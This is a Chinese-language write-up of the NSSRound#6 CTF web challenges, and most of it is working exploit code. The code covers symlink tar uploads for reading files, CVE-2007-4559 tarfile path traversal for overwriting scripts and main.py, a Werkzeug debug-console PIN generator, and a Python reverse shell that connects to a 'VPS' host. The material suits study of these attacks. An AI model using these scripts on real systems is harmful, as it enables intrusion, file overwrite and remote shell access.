NSSRound#6 Web题解

NSSRound#6 Web题解

check(V1)/check(V2)

非预期

利用软链接上传文件实现任意文件读取

首先

ln -s /flag exp.txt

然后,代码一把梭

import requests
import tarfile
import os

# "w:gz" = 打包并且压缩 "w" = 打包但不压缩
# 打包成tar包
def makeTar(outputFileName, sourceDir):
with tarfile.open(outputFileName, "w" ) as tar:
tar.add(sourceDir, arcname = os.path.basename(sourceDir))


def upload():
url = "http://43.142.108.3:28840/upload"
resp = requests.post(url=url, files={"file": open("./exp.tar", "rb")})
print(resp.text)


def download():
url = "http://43.142.108.3:28840/download"
data = {"filename": "exp.txt"}
resp = requests.post(url=url, data=data)
print(resp.text)

makeTar("./exp.tar", "./exp.txt")
upload()
download()

image-20221028172617617

check(v1)

预期

CVE-2007-4559

image-20221029120805771

比如我们构造一个exp.sh反弹shell,覆盖完后去触发clean的路由,就执行了os.system('/tmp/exp.sh')

脚本一把梭

参考这里

import tarfile
import requests

url = 'http://43.142.108.3:28648'


def change_name(tarinfo):
tarinfo.name = "../../../../../../../../tmp/clean.sh"
return tarinfo


with tarfile.open("exp.tar", "w:xz") as tar:
tar.add("exp.sh", filter=change_name)


resp = requests.post(url=url + "/upload", files={"file": open("exp.tar", "rb")})
print(resp.text)

res = requests.post(url=url + "/clean")
print(res.text)

image-20221029121207164

check(v2)

预期

这个的话,也是同样覆盖clean.sh,拿到shell后,因为是ctf用户,所以没有读flag的权限

但是这里我们可以知道他是用debug模式启动,所以利用console后台,算出pin码就可以执行命令

因为网上脚本很多,这里主要看下高版本的区别

# 首先高版本利用的算法是 hashlib.sha1()
# 还有get_machine_id()
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id

if _machine_id is not None:
return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""

# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
# 这里可以知道,/etc/machine-id优先级要高,如果这个存在就直接break出去
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue

if value:
linux += value
break
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
# 然后这里拼接上/proc/self/cgroup那一串值
except OSError:
pass

if linux:
return linux

具体脚本

image-20221029133359881

import hashlib
from itertools import chain

probably_public_bits = [
'root'
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.10/site-packages/flask/app.py' #一般默认路径,可以直接到shell里找
]

private_bits = [
'2485376973374', # /sys/class/net/eth0/address
'96cec10d3d9307792745ec3b85c8962050f919b74b931047d05f74cab428795c3bef6a42831948715b3609fe03151669'
# /etc/machine-id /proc/self/cgroup
]


h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

image-20221029133929417

check(Revenge)

预期

就是v2的预期解,做法一样的

非预期

可以看到这里是以debug模式启动的,在debug模式下,如果有文件代码修改,服务器就会自动重载,我们可以直接覆盖main.py,然后执行我们的恶意文件

比如我们可以写一个python的反弹shell的exp,利用CVE-2007-4559,触发执行

# shell.py
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('VPS',port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])
# exp.py
import tarfile
import requests

url = 'http://43.142.108.3:28317'


def change_name(tarinfo):
tarinfo.name = "../../../../../../../../app/main.py"
return tarinfo


with tarfile.open("exp.tar", "w:xz") as tar:
tar.add("shell.py", filter=change_name)

resp = requests.post(url=url + "/upload", files={"file": open("exp.tar", "rb")})
print(resp.text)

res = requests.get(url=url)
print(res.text)

image-20221029134734437

作者

秋秋晚

发布于

2022-10-28

更新于

2023-01-10

许可协议

评论

:D 一言句子获取中...